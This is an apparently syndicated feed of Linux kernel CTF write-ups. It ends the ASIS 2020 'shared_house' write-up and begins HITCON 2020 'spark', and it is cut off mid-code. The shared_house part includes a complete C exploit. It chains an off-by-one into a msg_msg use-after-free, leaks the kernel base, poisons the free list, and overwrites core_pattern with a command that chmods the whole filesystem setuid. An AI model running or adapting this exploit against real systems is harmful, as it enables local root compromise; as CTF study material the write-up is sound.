&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_write_note&lt;/span&gt;(buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);  &lt;span style=&#34;color:#75715e&#34;&gt;// Trigger off-by-one
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;get-controlleduaf-msg_msg-chunk&#34;&gt;Get controlled(UAF) msg_msg chunk&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;struct msg_msg&lt;/code&gt;, the &lt;code&gt;m_list.next&lt;/code&gt; and &lt;code&gt;m_list.prev&lt;/code&gt; exist.
And they are connected with other messages by using double linked list.&lt;/p&gt;
&lt;p&gt;Because we can overwrite 1 byte after our &lt;code&gt;note&lt;/code&gt;, we can overwrite LSB of &lt;code&gt;m_list.next&lt;/code&gt; if the message is located after our &lt;code&gt;note&lt;/code&gt;.
My plain is &amp;ldquo;making dangling pointer in &lt;code&gt;m_list&lt;/code&gt; to free-ed message and make the free-ed chunk become our note.&lt;/p&gt;
&lt;p&gt;For example, initial messages (consider all messages locate consequently):&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| B
	  A --&amp;gt;|prev| E
	
	  B[msg 2] --&amp;gt;|next| C
	  B --&amp;gt;|prev| A
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| B
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;And free middle message (msg 2) via &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1098&#34;&gt;&lt;code&gt;do_msgrcv&lt;/code&gt;&lt;/a&gt; and allocate it as our note:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;Make invalid &lt;code&gt;m_list.next&lt;/code&gt; via triggering off-by-one:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] --&amp;gt;|next| E
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;With this connections, the &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1163&#34;&gt;unlink&lt;/a&gt; of &lt;code&gt;msg 5&lt;/code&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1259&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt; to it make dangling pointer to &lt;code&gt;msg 5&lt;/code&gt; in &lt;code&gt;msg 3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After freeing &lt;code&gt;msg 5&lt;/code&gt;, the allocated note will be have same address with &lt;code&gt;msg 5&lt;/code&gt;.
Then we can make &lt;code&gt;limited_aar&lt;/code&gt; using &lt;code&gt;next&lt;/code&gt; in &lt;code&gt;struct msg_msg&lt;/code&gt;.
The disadventage of &lt;code&gt;limited_aar&lt;/code&gt; is 1. the first 8 bytes must be zeros (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L161&#34;&gt;&lt;code&gt;store_msg&lt;/code&gt;&lt;/a&gt;) 2. the read address will be freed (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L180&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But we can leak the address of &lt;code&gt;msg 5&lt;/code&gt;(UAF chunk) and kernel base only with &lt;code&gt;limited_arr&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;overwrite-free-list-and-allocate-arbitrary-address-via-kmalloc&#34;&gt;Overwrite free list and allocate arbitrary address via &lt;code&gt;kmalloc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk.
Currently the &lt;code&gt;note&lt;/code&gt; (this is same as &lt;code&gt;msg 5&lt;/code&gt;) is freed and thus it has pointer to next free-ed chunk.
So overwriting it with &lt;code&gt;core_pattern&lt;/code&gt; address, allocating serveral chunks and ETC give us the &lt;code&gt;core_pattern&lt;/code&gt; as &lt;code&gt;note&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;code&#34;&gt;Code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;295763184&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;295763184&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;AsisCTF2020Qual-shared_house-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt;= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/note&amp;#34;
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &amp;amp;req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &amp;amp;req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == &amp;#39;A&amp;#39;) {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal(&amp;#34;[-] Failed to find UAF msg_msg&amp;#34;);
    }

    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg-&amp;gt;next = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;prev = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;m_type = 1;
    fake_msg-&amp;gt;m_ts = target_obj_size;
    memset(fake_msg-&amp;gt;data, &amp;#39;A&amp;#39;, 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg-&amp;gt;next = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;m_type = 1;
  uaf_msg-&amp;gt;m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg-&amp;gt;next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i &amp;lt; (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] &amp;amp; KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr &amp;lt; *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_msgmsg: %p\n&amp;#34;, fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype &amp;gt; 0) {
    printf(&amp;#34;[-] Failed to find UAF msg_msg\n&amp;#34;);
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf(&amp;#34;[+] Found UAF msg_msg with mtype: %d\n&amp;#34;, uaf_msgmsg_mtype);
  printf(&amp;#34;    [*] Now note is same as UAF msg_msg\n&amp;#34;);
  printf(&amp;#34;    [*] The prev of UAF msg_msg is 0x%016lx\n&amp;#34;, prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf(&amp;#34;[*] Leaking UAF chunk addr and kernel base...\n&amp;#34;);
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &amp;amp;uaf_chunk_addr, &amp;amp;kernel_addr) &amp;lt; 0) {
    printf(&amp;#34;    [-] Failed to leak uaf chunk addr and kernel base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;    [+] Found UAF chunk address: 0x%016lx\n&amp;#34;, uaf_chunk_addr);
  printf(&amp;#34;    [+] Found kernel address: 0x%016lx\n&amp;#34;, kernel_addr);

  printf(&amp;#34;[*] Overwrite free list to overwrite modprobe_path\n&amp;#34;);
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf(&amp;#34;    [*] Overwriting free list at 0x%016lx to 0x%016lx\n&amp;#34;,
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&amp;amp;next_free_chunk, 8);
  printf(&amp;#34;    [*] Consume chunks in free list&amp;#34;);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf(&amp;#34;    [*] Now allocate note with addr=0x%016lx\n&amp;#34;, next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;\n&amp;#34;, new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf(&amp;#34;    [-] Failed to overwrite core_pattern (core_pattern=\&amp;#34;%s\&amp;#34;)\n&amp;#34;,
             core);
      return -1;
    }
  }

  printf(&amp;#34;    [+] Successfully overwrite core_pattern\n&amp;#34;);

  printf(&amp;#34;[*] Trigger core_pattern\n&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&#34;&gt;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>HITCON2020 spark</title>
      <link>/posts/kernel/write-ups/ctf/hitcon2020-spark/</link>
      <pubDate>Tue, 18 Feb 2025 15:33:22 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/hitcon2020-spark/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I think these are all knowlege which we can know from &lt;code&gt;demo.c&lt;/code&gt;. So I do reserving &lt;code&gt;spark.ko&lt;/code&gt;.
The module has 4 features: link, finalize, query, get_info.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is in &lt;code&gt;spark_node_put&lt;/code&gt;. When we &lt;code&gt;close&lt;/code&gt; the node and if the reference count is one, &lt;code&gt;free&lt;/code&gt; the node itself and its double linked list nodes.
But when &lt;code&gt;free&lt;/code&gt; the node, the node in other node (which is linked with the closed node) is not freed.&lt;/p&gt;
&lt;p&gt;For example, we allocate 2 nodes(node A and node B) via &lt;code&gt;open&lt;/code&gt; and link them.
The node A&amp;rsquo;s fd and bk has the pointer to node B. And of course, node B has the pointer to node A in fd and bk.
After linking, if we &lt;code&gt;close&lt;/code&gt; node B, the node B is free-ed but the pointer in node A is not deleted.&lt;/p&gt;
&lt;p&gt;The fd and bk in each node are used in &lt;code&gt;spark_node_finalize&lt;/code&gt; and &lt;code&gt;spark_graph_query&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;trigger-uaf&#34;&gt;Trigger UAF&lt;/h3&gt;
&lt;p&gt;As I explained in above, the UAF can be caused by following code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(fds) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open&lt;/span&gt;(VULN_DEV_NAME, O_RDONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
